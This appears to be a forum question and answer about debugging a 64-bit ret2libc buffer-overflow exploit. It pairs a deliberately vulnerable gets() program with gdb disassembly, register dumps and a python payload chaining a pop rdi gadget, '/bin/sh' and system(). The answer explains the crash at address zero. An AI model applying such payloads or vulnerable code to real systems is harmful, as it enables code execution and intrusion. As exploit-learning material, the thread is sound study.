I performed ret2libc but ended in segfault in 0x0000000000000000
. The vulnerable proagram is
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
gets(buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
return 1;
}
The disassembly from gdb is
(gdb) disass main
Dump of assembler code for function main:
0x000055555555516d <+0>: push rbp
0x000055555555516e <+1>: mov rbp,rsp
0x0000555555555171 <+4>: mov eax,0x0
0x0000555555555176 <+9>: call 0x555555555145 <get>
0x000055555555517b <+14>: lea rdi,[rip+0xe82] # 0x555555556004
0x0000555555555182 <+21>: call 0x555555555030 <puts@plt>
0x0000555555555187 <+26>: mov eax,0x1
0x000055555555518c <+31>: pop rbp
0x000055555555518d <+32>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555145 <+0>: push rbp
0x0000555555555146 <+1>: mov rbp,rsp
0x0000555555555149 <+4>: sub rsp,0x10
0x000055555555514d <+8>: lea rax,[rbp-0xa]
0x0000555555555151 <+12>: mov rdi,rax
0x0000555555555154 <+15>: mov eax,0x0
0x0000555555555159 <+20>: call 0x555555555040 <gets@plt>
0x000055555555515e <+25>: lea rax,[rbp-0xa]
0x0000555555555162 <+29>: mov rdi,rax
0x0000555555555165 <+32>: call 0x555555555030 <puts@plt>
0x000055555555516a <+37>: nop
0x000055555555516b <+38>: leave
0x000055555555516c <+39>: ret
End of assembler dump.
I used radare2 to find the gadget pop rdi;ret
which is located at 0x7ffff7e1d7de
. /bin/sh
is located at 0x7ffff7f7f1ac
and system()
is located at 0x7ffff7e3f8a0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Breakpoint 1, main () at exploit.c:12
12 get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
The registers are
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffde88 140737488346760
rdi 0x2 2
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffe1b8 0x7fffffffe1b8
r8 0x0 0
r9 0x0 0
r10 0x8 8
r11 0x246 582
r12 0x555555555060 93824992235616
r13 0x7fffffffe280 140737488347776
r14 0x0 0
r15 0x0 0
rip 0x0 0x0
eflags 0x10216 [ PF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c
. Also I disabled aslr manually.
Why did it end in segfault?
The message
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
means that your program has jumped to address 0 (that is, the %pc
is 0), which is an invalid address. This is probably due to executing a ret
instruction when the value on the top of the stack is 0.
You also see the message
[Detaching after vfork from child process 2964]
which likely means the system
function is being called, but for whatever reason is not doing what you expect it to do.
To debug this sort of thing, you need to carefully step through the code one instruction at a time using si
commmand (and occasional ni
to skip over calls)